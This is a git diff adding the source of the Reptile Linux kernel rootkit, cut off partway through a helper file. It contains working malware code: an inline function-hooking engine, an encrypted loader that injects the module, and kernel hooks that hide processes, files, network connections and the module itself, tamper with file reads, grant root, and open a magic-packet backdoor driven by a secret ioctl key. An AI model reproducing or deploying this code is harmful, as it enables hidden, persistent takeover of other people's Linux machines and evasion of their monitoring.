+// place a jump at addr @a from addr @f to addr @t +static inline void x86_put_jmp(void *a, void *f, void *t) +{ + *((char *)(a + 0)) = 0xE9; + *(( int *)(a + 1)) = (long)(t - (f + 5)); +} + +static const char khook_stub_template[] = { +# include KHOOK_STUB_FILE_NAME +}; + +static inline void stub_fixup(void *stub, const void *value) { + while (*(int *)stub != 0xcacacaca) stub++; + *(long *)stub = (long)value; +} + +static inline void khook_arch_sm_init_one(khook_t *hook) { + khook_stub_t *stub = KHOOK_STUB(hook); + if (hook->target.addr[0] == (char)0xE9 || + hook->target.addr[0] == (char)0xCC) return; + + BUILD_BUG_ON(sizeof(khook_stub_template) > offsetof(khook_stub_t, nbytes)); + memcpy(stub, khook_stub_template, sizeof(khook_stub_template)); + stub_fixup(stub->hook, hook->fn); + + while (stub->nbytes < 5) + stub->nbytes += khook_arch_lde_get_length(hook->target.addr + stub->nbytes); + + memcpy(stub->orig, hook->target.addr, stub->nbytes); + x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes); + if (hook->flags & KHOOK_F_NOREF) { + x86_put_jmp(hook->target.addr_map, hook->target.addr, hook->fn); + } else { + x86_put_jmp(hook->target.addr_map, hook->target.addr, stub->hook); + } + hook->orig = stub->orig; // the only link from hook to stub +} + +static inline void khook_arch_sm_cleanup_one(khook_t *hook) { + khook_stub_t *stub = KHOOK_STUB(hook); + memcpy(hook->target.addr_map, stub->orig, stub->nbytes); +} + +#define KHOOK_ARCH_INIT(...) \ + (khook_arch_lde_init()) diff --git a/Linux/Rootkits/Reptile/kernel/khook/x86/stub.S b/Linux/Rootkits/Reptile/kernel/khook/x86/stub.S new file mode 100644 index 0000000..5e68dca --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/x86/stub.S @@ -0,0 +1,56 @@ +# +# KHOOK STUB layout +# ----------------- +# 0x00: atomic_t = (0) +# 0x10: orig function call wrapper +# 0x30: hook function call wrapper +# + +KHOOK_STUB_atomic_use_count: + .rept 16 + .byte 0x00 + .endr + +KHOOK_STUB_orig: + .rept 32 + .byte 0x00 + .endr + +# +# Hooking of function with more than N arguments requires us to +# make a local copy of all arguments starting from N as they are +# passed through the stack as per the ABI. +# +# TODO: x86-32 implementation of CALL_COPY_N_ARGS macro +# + +#ifdef __x86_64__ +.macro CALL_COPY_N_ARGS n + sub $(\n * 8), %rsp + .set i, 0 + .rept \n + mov ((\n + i + 1) * 8)(%rsp), %rax + mov %rax, (i * 8)(%rsp) + .set i, i + 1 + .endr + movabs $0xcacacacacacacaca, %rax + call *%rax + add $(\n * 8), %rsp +.endm +KHOOK_STUB_hook: + lock incl KHOOK_STUB_atomic_use_count(%rip) + CALL_COPY_N_ARGS 8 + lock decl KHOOK_STUB_atomic_use_count(%rip) + ret +#else +KHOOK_STUB_hook: + call 1f +1: pop %eax + lock incl -(1b - KHOOK_STUB_atomic_use_count)(%eax) + mov $0xcacacaca, %eax + call *%eax + call 1f +1: pop %ecx + lock decl -(1b - KHOOK_STUB_atomic_use_count)(%ecx) + ret +#endif diff --git a/Linux/Rootkits/Reptile/kernel/khook/x86/stub.inc b/Linux/Rootkits/Reptile/kernel/khook/x86/stub.inc new file mode 100644 index 0000000..7f99bf2 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/x86/stub.inc @@ -0,0 +1,14 @@ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf0, 0xff, 0x05, 0xc9, 0xff, 0xff, 0xff, 0x48, 0x83, 0xec, 0x40, 0x48, + 0x8b, 0x44, 0x24, 0x48, 0x48, 0x89, 0x04, 0x24, 0x48, 0x8b, 0x44, 0x24, + 0x50, 0x48, 0x89, 0x44, 0x24, 0x08, 0x48, 0x8b, 0x44, 0x24, 0x58, 0x48, + 0x89, 0x44, 0x24, 0x10, 0x48, 0x8b, 0x44, 0x24, 0x60, 0x48, 0x89, 0x44, + 0x24, 0x18, 0x48, 0x8b, 0x44, 0x24, 0x68, 0x48, 0x89, 0x44, 0x24, 0x20, + 0x48, 0x8b, 0x44, 0x24, 0x70, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8b, + 0x44, 0x24, 0x78, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8b, 0x84, 0x24, + 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0xb8, 0xca, + 0xca, 0xca, 0xca, 0xca, 0xca, 0xca, 0xca, 0xff, 0xd0, 0x48, 0x83, 0xc4, + 0x40, 0xf0, 0xff, 0x0d, 0x5c, 0xff, 0xff, 0xff, 0xc3 diff --git a/Linux/Rootkits/Reptile/kernel/khook/x86/stub32.inc b/Linux/Rootkits/Reptile/kernel/khook/x86/stub32.inc new file mode 100644 index 0000000..468c057 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/khook/x86/stub32.inc @@ -0,0 +1,7 @@ + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xe8, 0x00, 0x00, 0x00, 0x00, 0x58, 0xf0, 0xff, 0x40, 0xcb, 0xb8, 0xca, + 0xca, 0xca, 0xca, 0xff, 0xd0, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x59, 0xf0, + 0xff, 0x49, 0xba, 0xc3 diff --git a/Linux/Rootkits/Reptile/kernel/kmatryoshka/Kbuild b/Linux/Rootkits/Reptile/kernel/kmatryoshka/Kbuild new file mode 100644 index 0000000..0e74d56 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/kmatryoshka/Kbuild @@ -0,0 +1,11 @@ +TARGET ?= reptile + +obj-m += $(TARGET).o +$(TARGET)-y += kmatryoshka.o + +ccflags-y += -I$(src)/../include +ccflags-y += -I$(src)/../../output +ccflags-y += $(CFLAGS) -Os -fomit-frame-pointer -fno-stack-protector + +KBUILD_CFLAGS := $(subst -pg,,$(KBUILD_CFLAGS)) +KBUILD_CFLAGS := $(subst -mfentry,,$(KBUILD_CFLAGS)) diff --git a/Linux/Rootkits/Reptile/kernel/kmatryoshka/kmatryoshka.c b/Linux/Rootkits/Reptile/kernel/kmatryoshka/kmatryoshka.c new file mode 100644 index 0000000..ef35a4a --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/kmatryoshka/kmatryoshka.c @@ -0,0 +1,84 @@ +#include +#include +#include +#include + +#ifndef user_addr_max +#define user_addr_max() (current_thread_info()->addr_limit.seg) +#endif + +#include "encrypt.h" + +#define SYS_INIT_MODULE \ + ({ \ + unsigned int *p = __builtin_alloca(16); \ + p[0] = 0x5f737973; \ + p[1] = 0x74696e69; \ + p[2] = 0x646f6d5f; \ + p[3] = 0x00656c75; \ + (char *)p; \ + }) + +#define __DO_SYS_INIT_MODULE \ + ({ \ + unsigned int *p = __builtin_alloca(24); \ + p[0] = 0x6f645f5f; \ + p[1] = 0x7379735f; \ + p[2] = 0x696e695f; \ + p[3] = 0x6f6d5f74; \ + p[4] = 0x656c7564; \ + p[5] = 0x00000000; \ + (char *)p; \ + }) + +static char parasite_blob[] = { +#include "parasite_blob.inc" +}; + +static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, + unsigned long addr) +{ + int i = 0; + while (!module && (((const char *)data[0]))[i] == name[i]) { + if (!name[i++]) + return !!(data[1] = addr); + } + return 0; +} + +static inline unsigned long ksym_lookup_name(const char *name) +{ + unsigned long data[2] = {(unsigned long)name, 0}; + kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); + return data[1]; +} + +int init_module(void) +{ + int ret = -EINVAL; + asmlinkage long (*sys_init_module)(const void *, unsigned long, const char *) = NULL; + + do_decrypt(parasite_blob, sizeof(parasite_blob), DECRYPT_KEY); + + sys_init_module = (void *)ksym_lookup_name(SYS_INIT_MODULE); + + if (!sys_init_module) + sys_init_module = (void *)ksym_lookup_name(__DO_SYS_INIT_MODULE); + + if (sys_init_module) { + const char *nullarg = parasite_blob; + unsigned long seg = user_addr_max(); + + while (*nullarg) + nullarg++; + + user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE); + if(sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg) == 0) ret = -37; // would be 1337, but is too obvious. hahaha + user_addr_max() = seg; + } + + return ret; +} + +MODULE_LICENSE("GPL"); +MODULE_INFO(intree, "Y"); diff --git a/Linux/Rootkits/Reptile/kernel/loader/loader.c b/Linux/Rootkits/Reptile/kernel/loader/loader.c new file mode 100644 index 0000000..f9fc7a0 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/loader/loader.c @@ -0,0 +1,37 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "encrypt.h" + +static char reptile_blob[] = { +#include "reptile.ko.inc" +}; + +#define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values) + +int main(void) +{ + int ret = EXIT_FAILURE; + size_t len; + void *module_image; + + len = sizeof(reptile_blob); + do_decrypt(reptile_blob, len, DECRYPT_KEY); + module_image = malloc(len); + memcpy(module_image, reptile_blob, len); + init_module(module_image, len, ""); + + if (errno == 37) + ret = EXIT_SUCCESS; + + free(module_image); + return ret; +} diff --git a/Linux/Rootkits/Reptile/kernel/main.c b/Linux/Rootkits/Reptile/kernel/main.c new file mode 100644 index 0000000..ebf5c9b --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/main.c @@ -0,0 +1,482 @@ +#include +#include + +#include "khook/engine.c" +#include "config.h" +#include "util.h" + +#ifdef CONFIG_AUTO_HIDE +# include "module.h" +#endif + +int hidden = 1; + +/* ------------------------ HIDE PROCESS ------------------------- */ + +#ifdef CONFIG_HIDE_PROC + +#include +#include "proc.h" + +KHOOK(copy_creds); +static int khook_copy_creds(struct task_struct *p, unsigned long clone_flags) +{ + int ret = 0; + + ret = KHOOK_ORIGIN(copy_creds, p, clone_flags); + if (!ret && is_task_invisible(current)) + p->flags |= FLAG; + + return ret; +} + +KHOOK(exit_creds); +static void khook_exit_creds(struct task_struct *p) +{ + KHOOK_ORIGIN(exit_creds, p); + if (is_task_invisible(p)) + p->flags &= ~FLAG; +} + +KHOOK(audit_alloc); +static int khook_audit_alloc(struct task_struct *t) +{ + int err = 0; + + if (is_task_invisible(t)) { + clear_tsk_thread_flag(t, TIF_SYSCALL_AUDIT); + } else { + err = KHOOK_ORIGIN(audit_alloc, t); + } + return err; +} + +KHOOK(find_task_by_vpid); +struct task_struct *khook_find_task_by_vpid(pid_t vnr) +{ + struct task_struct *tsk = NULL; + + tsk = KHOOK_ORIGIN(find_task_by_vpid, vnr); + if (tsk && is_task_invisible(tsk) && !is_task_invisible(current)) + tsk = NULL; + + return tsk; +} + +KHOOK_EXT(int, vfs_statx, int, const char __user *, int, struct kstat *, u32); +static int khook_vfs_statx(int dfd, const char __user *filename, int flags, struct kstat *stat, + u32 request_mask) +{ + if (is_proc_invisible_2(filename)) + return -EINVAL; + + return KHOOK_ORIGIN(vfs_statx, dfd, filename, flags, stat, request_mask); +} + +KHOOK_EXT(long, sys_kill, long, long); +static long khook_sys_kill(long pid, long sig) { + if (sig == 0) { + if (is_proc_invisible(pid)) { + return -ESRCH; + } + } + + return KHOOK_ORIGIN(sys_kill, pid, sig); +} + +KHOOK_EXT(long, __x64_sys_kill, const struct pt_regs *); +static long khook___x64_sys_kill(const struct pt_regs *regs) { + if (regs->si == 0) { + if (is_proc_invisible(regs->di)) { + return -ESRCH; + } + } + + return KHOOK_ORIGIN(__x64_sys_kill, regs); +} + +KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter); +static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_iter iter) +{ + if (hidden) { + while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) { + if (!(iter.task->flags & FLAG)) + break; + + iter.tgid++; + } + } else { + iter = KHOOK_ORIGIN(next_tgid, ns, iter); + } + return iter; +} + +#endif + +/* ------------------------- HIDE DIR --------------------------- */ + +#ifdef CONFIG_HIDE_DIR + +#include +#include "dir.h" + +/* Can you see a little problem on those hooks? This is not the best + * way to do this feature, but I am going to keep it this way, after all, + * this is just a public project, isn't it? + */ +KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int); +static int khook_fillonedir(void *__buf, const char *name, int namlen, + loff_t offset, u64 ino, unsigned int d_type) +{ + int ret = -ENOENT; + if (!strstr(name, HIDE) || !hidden) + ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type); + return ret; +} + +KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int); +static int khook_filldir(void *__buf, const char *name, int namlen, + loff_t offset, u64 ino, unsigned int d_type) +{ + int ret = -ENOENT; + if (!strstr(name, HIDE) || !hidden) + ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type); + return ret; +} + +KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int); +static int khook_filldir64(void *__buf, const char *name, int namlen, + loff_t offset, u64 ino, unsigned int d_type) +{ + int ret = -ENOENT; + if (!strstr(name, HIDE) || !hidden) + ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type); + return ret; +} + +KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int); +static int khook_compat_fillonedir(void *__buf, const char *name, int namlen, + loff_t offset, u64 ino, unsigned int d_type) +{ + int ret = -ENOENT; + if (!strstr(name, HIDE) || !hidden) + ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type); + return ret; +} + +KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int); +static int khook_compat_filldir(void *__buf, const char *name, int namlen, + loff_t offset, u64 ino, unsigned int d_type) +{ + int ret = -ENOENT; + if (!strstr(name, HIDE) || !hidden) + ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type); + return ret; +} + +#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 12, 0) +KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int); +static int khook_compat_filldir64(void *__buf, const char *name, int namlen, + loff_t offset, u64 ino, unsigned int d_type) +{ + int ret = -ENOENT; + if (!strstr(name, HIDE) || !hidden) + ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type); + return ret; +} +#endif + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 9, 0) +KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *); +struct dentry *khook___d_lookup(const struct dentry *parent, const struct qstr *name) +#else +KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *); +struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name) +#endif +{ + struct dentry *found = NULL; + if (!strstr(name->name, HIDE) || !hidden) + found = KHOOK_ORIGIN(__d_lookup, parent, name); + return found; +} +#endif + +/* --------------------- FILE CONTENT TAMPERING --------------------- */ + +#ifdef CONFIG_FILE_TAMPERING + +#include "file.h" + +atomic_t read_on; +int file_tampering_flag = 0; + +// This is not the best way to do that, but it works, maybe in the future I change that +KHOOK_EXT(ssize_t, vfs_read, struct file *, char __user *, size_t, loff_t *); +static ssize_t khook_vfs_read(struct file *file, char __user *buf, + size_t count, loff_t *pos) +{ + ssize_t ret; + + atomic_set(&read_on, 1); + ret = KHOOK_ORIGIN(vfs_read, file, buf, count, pos); + + if (file_tampering_flag) { + if (file_check(buf, ret) == 1) + ret = hide_content(buf, ret); + } + atomic_set(&read_on, 0); + + return ret; +} + +#endif + +/* ------------------------ HIDE CONNECTIONS ------------------------- */ + +#ifdef CONFIG_HIDE_CONN + +#include +#include +#include "network.h" + +LIST_HEAD(hidden_conn_list); + +KHOOK_EXT(int, tcp4_seq_show, struct seq_file *, void *); +static int khook_tcp4_seq_show(struct seq_file *seq, void *v) +{ + int ret; + struct sock *sk = v; + struct inet_sock *inet; + struct hidden_conn *hc; + unsigned int daddr; + //unsigned short dport; + + if (v == SEQ_START_TOKEN) { + goto origin; + } + + inet = (struct inet_sock *)sk; + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 33) + daddr = inet->inet_daddr; + //dport = inet->inet_dport; +#else + daddr = inet->daddr; + //dport = inet->dport; +#endif + + list_for_each_entry(hc, &hidden_conn_list, list) + { + if (hc->addr.sin_addr.s_addr == daddr /* && hc->addr.sin_port == dport */) { + ret = 0; + goto out; + } + } +origin: + ret = KHOOK_ORIGIN(tcp4_seq_show, seq, v); +out: + return ret; +} + +KHOOK_EXT(int, udp4_seq_show, struct seq_file *, void *); +static int khook_udp4_seq_show(struct seq_file *seq, void *v) +{ + int ret; + struct sock *sk = v; + struct inet_sock *inet; + struct hidden_conn *hc; + unsigned int daddr; + //unsigned short dport; + + if (v == SEQ_START_TOKEN) { + goto origin; + } + + inet = (struct inet_sock *)sk; + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 33) + daddr = inet->inet_daddr; + //dport = inet->inet_dport; +#else + daddr = inet->daddr; + //dport = inet->dport; +#endif + + list_for_each_entry(hc, &hidden_conn_list, list) + { + if (hc->addr.sin_addr.s_addr == daddr /* && hc->addr.sin_port == dport */) { + ret = 0; + goto out; + } + } +origin: + ret = KHOOK_ORIGIN(udp4_seq_show, seq, v); +out: + return ret; +} + +#endif + +/* ----------------------------- BACKDOOR ----------------------------- */ + +#ifdef CONFIG_BACKDOOR +#include +#include "backdoor.h" + +KHOOK_EXT(int, ip_rcv, struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *); +static int khook_ip_rcv(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt, + struct net_device *orig_dev) +{ + if (magic_packet_parse(skb)) + return KHOOK_ORIGIN(ip_rcv, skb, dev, pt, orig_dev); + + return 0; +} + +#endif + +/* ------------------------------ COMMON ----------------------------- */ + +#if defined(CONFIG_HIDE_PROC) && defined(CONFIG_BACKDOOR) +#include + +KHOOK_EXT(int, load_elf_binary, struct linux_binprm *); +static int khook_load_elf_binary(struct linux_binprm *bprm) +{ + int ret = KHOOK_ORIGIN(load_elf_binary, bprm); + + if (!ret && !strcmp(bprm->filename, SHELL_PATH)) + flag_tasks(current->pid, 1); + + return ret; +} +#endif + +/* ------------------------------- CONTROL ----------------------------- */ + +#include +#include +#include + +int control_flag = 0; + +struct control { + unsigned short cmd; + void *argv; +}; + +KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long); +static int khook_inet_ioctl(struct socket *sock, unsigned int cmd, + unsigned long arg) +{ + int ret = 0; + unsigned int pid; + struct control args; + struct sockaddr_in addr; + + if (cmd == AUTH && arg == HTUA) { + if (control_flag) { + control_flag = 0; + } else { + control_flag = 1; + } + + goto out; + } + + if (control_flag && cmd == AUTH) { + if (copy_from_user(&args, (void *)arg, sizeof(args))) + goto out; + + switch (args.cmd) { + case 0: +#ifdef CONFIG_AUTO_HIDE + hide_module(); +#endif + flip_hidden_flag(); + break; + case 1: + if (copy_from_user(&pid, args.argv, sizeof(unsigned int))) + goto out; + +#ifdef CONFIG_HIDE_PROC + hide_proc(pid); +#endif + break; + case 2: +#ifdef CONFIG_FILE_TAMPERING + file_tampering(); +#endif + break; + case 3: +#ifdef CONFIG_GIVE_ROOT + get_root(); +#endif + break; + case 4: + if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in))) + goto out; + +#ifdef CONFIG_HIDE_CONN + network_hide_add(addr); +#endif + break; + case 5: + if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in))) + goto out; + +#ifdef CONFIG_HIDE_CONN + network_hide_remove(addr); +#endif + break; + default: + goto origin; + } + + goto out; + } + +origin: + ret = KHOOK_ORIGIN(inet_ioctl, sock, cmd, arg); +out: + return ret; +} + +/* ------------------------------------------------------------------ */ + +static int __init reptile_init(void) +{ + int ret; + +#ifdef CONFIG_FILE_TAMPERING + /* Unfortunately I need to use this to ensure in some kernel + * versions we will be able to unload the kernel module when + * it is needed. Otherwise khook may take a really huge delay + * to unload because of vfs_read hook + */ + atomic_set(&read_on, 0); +#endif + ret = khook_init(); + if (ret < 0) + return ret; + +#ifdef CONFIG_AUTO_HIDE + hide_module(); +#endif + + run_cmd(START_SCRIPT); + + return ret; +} + +static void __exit reptile_exit(void) +{ +#ifdef CONFIG_FILE_TAMPERING + while(atomic_read(&read_on) != 0) schedule(); +#endif + khook_cleanup(); +} + +module_init(reptile_init); +module_exit(reptile_exit); +MODULE_LICENSE("GPL"); diff --git a/Linux/Rootkits/Reptile/kernel/module.c b/Linux/Rootkits/Reptile/kernel/module.c new file mode 100644 index 0000000..c05d436 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/module.c @@ -0,0 +1,39 @@ +#include +#include +#include + +#include "module.h" + +int hide_m = 0; +static struct list_head *mod_list; + +void hide(void) +{ + while (!mutex_trylock(&module_mutex)) + cpu_relax(); + mod_list = THIS_MODULE->list.prev; + list_del(&THIS_MODULE->list); + kfree(THIS_MODULE->sect_attrs); + THIS_MODULE->sect_attrs = NULL; + mutex_unlock(&module_mutex); + + hide_m = 1; +} + +void show(void) +{ + while (!mutex_trylock(&module_mutex)) + cpu_relax(); + list_add(&THIS_MODULE->list, mod_list); + mutex_unlock(&module_mutex); + + hide_m = 0; +} + +void hide_module(void) +{ + if (hide_m == 0) + hide(); + else if (hide_m == 1) + show(); +} diff --git a/Linux/Rootkits/Reptile/kernel/network.c b/Linux/Rootkits/Reptile/kernel/network.c new file mode 100644 index 0000000..8f67975 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/network.c @@ -0,0 +1,78 @@ +#include +#include +#include +#include + +#include "network.h" +#include "string_helpers.h" + +void network_hide_add(struct sockaddr_in addr) +{ + struct hidden_conn *hc; + + hc = kmalloc(sizeof(*hc), GFP_KERNEL); + + if (!hc) + return; + + hc->addr = addr; + list_add(&hc->list, &hidden_conn_list); +} + +void network_hide_remove(struct sockaddr_in addr) +{ + struct hidden_conn *hc; + + list_for_each_entry(hc, &hidden_conn_list, list) + { + if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) { + list_del(&hc->list); + kfree(hc); + break; + } + } +} + +int is_addr_hidden(struct sockaddr_in addr) +{ + struct hidden_conn *hc; + + list_for_each_entry(hc, &hidden_conn_list, list) + { + if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) + return 1; + } + + return 0; +} + +/* +unsigned int _inet4_pton(char *src) +{ + unsigned int dst; + int srclen = strlen(src); + + if (srclen > INET_ADDRSTRLEN) + return -EINVAL; + + if (in4_pton(src, srclen, (u8 *)&dst, -1, NULL) == 0) + return -EINVAL; + + return dst; +} + +void hide_conn(char *ip_str) +{ + unsigned int ip; + struct sockaddr_in addr; + + if ((ip = _inet4_pton(ip_str)) > 0) { + addr.sin_addr.s_addr = ip; + + if (is_addr_hidden(addr)) + network_hide_remove(addr); + else + network_hide_add(addr); + } +} +*/ \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/proc.c b/Linux/Rootkits/Reptile/kernel/proc.c new file mode 100644 index 0000000..45a7788 --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/proc.c @@ -0,0 +1,144 @@ +#include +#include +#include +#include +#include +#include + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0) +# include +#endif + +#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0) +# include "string_helpers.h" +#endif + +#include "proc.h" + +int flag_tasks(pid_t pid, int set) +{ + int ret = 0; + struct pid *p; + + rcu_read_lock(); + p = find_get_pid(pid); + if (p) { + struct task_struct *task = get_pid_task(p, PIDTYPE_PID); + if (task) { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0) + struct task_struct *t = NULL; + + for_each_thread(task, t) + { + if (set) + t->flags |= FLAG; + else + t->flags &= ~FLAG; + + ret++; + } +#endif + if (set) + task->flags |= FLAG; + else + task->flags &= ~FLAG; + + put_task_struct(task); + } + put_pid(p); + } + rcu_read_unlock(); + return ret; +} + +struct task_struct *find_task(pid_t pid) +{ + struct task_struct *p = current; + struct task_struct *ret = NULL; + + rcu_read_lock(); + for_each_process(p) + { + if (p->pid == pid) { + get_task_struct(p); + ret = p; + } + } + rcu_read_unlock(); + + return ret; +} + +int is_proc_invisible(pid_t pid) +{ + struct task_struct *task; + int ret = 0; + + if (!pid) + return ret; + + task = find_task(pid); + if (!task) + return ret; + + if (is_task_invisible(task)) + ret = 1; + + put_task_struct(task); + return ret; +} + +int is_proc_invisible_2(const char __user *filename) +{ + int ret = 0, i, argc, is_num = 1; + pid_t pid = 0; + char **a; + char *name = kmalloc(PATH_MAX, GFP_KERNEL); + + if (strncpy_from_user(name, filename, PATH_MAX) > 0) { + if (strncmp(name, "/proc/", 6) == 0) { + strreplace(name, '/', ' '); + + a = argv_split(GFP_KERNEL, name, &argc); + + for (i = 0; i < strlen(a[1]); i++) { + if (!isdigit(*a[1])) + is_num = 0; + } + + if (is_num) { + if (kstrtoint(a[1], 10, &pid) == 0) { + if (is_proc_invisible(pid)) + ret = 1; + } + } + + argv_free(a); + } + } + + kfree(name); + return ret; +} + +void hide_proc(pid_t pid) +{ + if (is_proc_invisible(pid)) + flag_tasks(pid, 0); + else + flag_tasks(pid, 1); +} + +/* +void hide_proc(char *pid_str) +{ + pid_t pid; + + if (kstrtoint(pid_str, 10, &pid) == 0) { + if (is_proc_invisible(pid)) + flag_tasks(pid, 0); + else + flag_tasks(pid, 1); + } +} +*/ \ No newline at end of file diff --git a/Linux/Rootkits/Reptile/kernel/string_helpers.c b/Linux/Rootkits/Reptile/kernel/string_helpers.c new file mode 100644 index 0000000..26a4edd --- /dev/null +++ b/Linux/Rootkits/Reptile/kernel/string_helpers.c @@ -0,0 +1,264 @@ +#include "string_helpers.h" + +#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0) + +/* stolen from lib/string_helpers.c */ + +#include +#include + +#define ESCAPE_SPACE 0x01 +#define ESCAPE_SPECIAL 0x02 +#define ESCAPE_NULL 0x04 +#define ESCAPE_OCTAL 0x08 +#define ESCAPE_ANY (ESCAPE_SPACE | ESCAPE_OCTAL | ESCAPE_SPECIAL | ESCAPE_NULL) +#define ESCAPE_NP 0x10 +#define ESCAPE_ANY_NP (ESCAPE_ANY | ESCAPE_NP) +#define ESCAPE_HEX 0x20 + +static bool escape_passthrough(unsigned char c, char **dst, char *end) +{ + char *out = *dst; + + if (out < end) + *out = c; + *dst = out + 1; + return true; +} + +static bool escape_space(unsigned char c, char **dst, char *end) +{ + char *out = *dst; + unsigned char to; + + switch (c) { + case '\n': + to = 'n'; + break; + case '\r': + to = 'r'; + break; + case '\t': + to = 't'; + break; + case '\v': + to = 'v'; + break; + case '\f': + to = 'f'; + break; + default: + return false; + } + + if (out < end) + *out = '\\'; + ++out; + if (out < end) + *out = to; + ++out; + + *dst = out; + return true; +} + +static bool escape_special(unsigned char c, char **dst, char *end) +{ + char *out = *dst; + unsigned char to; + + switch (c) { + case '\\': + to = '\\'; + break; + case '\a': + to = 'a'; + break; + case '\e': + to = 'e'; + break; + default: + return false; + } + + if (out < end) + *out = '\\'; + ++out; + if (out < end) + *out = to; + ++out; + + *dst = out; + return true; +} + +static bool escape_null(unsigned char c, char **dst, char *end) +{ + char *out = *dst; + + if (c) + return false; + + if (out < end) + *out = '\\'; + ++out; + if (out < end) + *out = '0'; + ++out; + + *dst = out; + return true; +} + +static bool escape_octal(unsigned char c, char **dst, char *end) +{ + char *out = *dst; + + if (out < end) + *out = '\\'; + ++out; + if (out < end) + *out = ((c >> 6) & 0x07) + '0'; + ++out; + if (out < end) + *out = ((c >> 3) & 0x07) + '0'; + ++out; + if (out < end) + *out = ((c >> 0) & 0x07) + '0'; + ++out; + + *dst = out; + return true; +} + +static bool escape_hex(unsigned char c, char **dst, char *end) +{ + char *out = *dst; + + if (out < end) + *out = '\\'; + ++out; + if (out < end) + *out = 'x'; + ++out; + if (out < end) + *out = hex_asc_hi(c); + ++out; + if (out < end) + *out = hex_asc_lo(c); + ++out; + + *dst = out; + return true; +} + +int string_escape_mem(const char *src, size_t isz, char *dst, size_t osz, + unsigned int flags, const char *only) +{ + char *p = dst; + char *end = p + osz; + bool is_dict = only && *only; + + while (isz--) { + unsigned char c = *src++; + + /* + * Apply rules in the following sequence: + * - the character is printable, when @flags has + * %ESCAPE_NP bit set + * - the @only string is supplied and does not contain a + * character under question + * - the character doesn't fall into a class of symbols + * defined by given @flags + * In these cases we just pass through a character to the + * output buffer. + */ + if ((flags & ESCAPE_NP && isprint(c)) || + (is_dict && !strchr(only, c))) { + /* do nothing */ + } else { + if (flags & ESCAPE_SPACE && escape_space(c, &p, end)) + continue; + + if (flags & ESCAPE_SPECIAL && escape_special(c, &p, end)) + continue; + + if (flags & ESCAPE_NULL && escape_null(c, 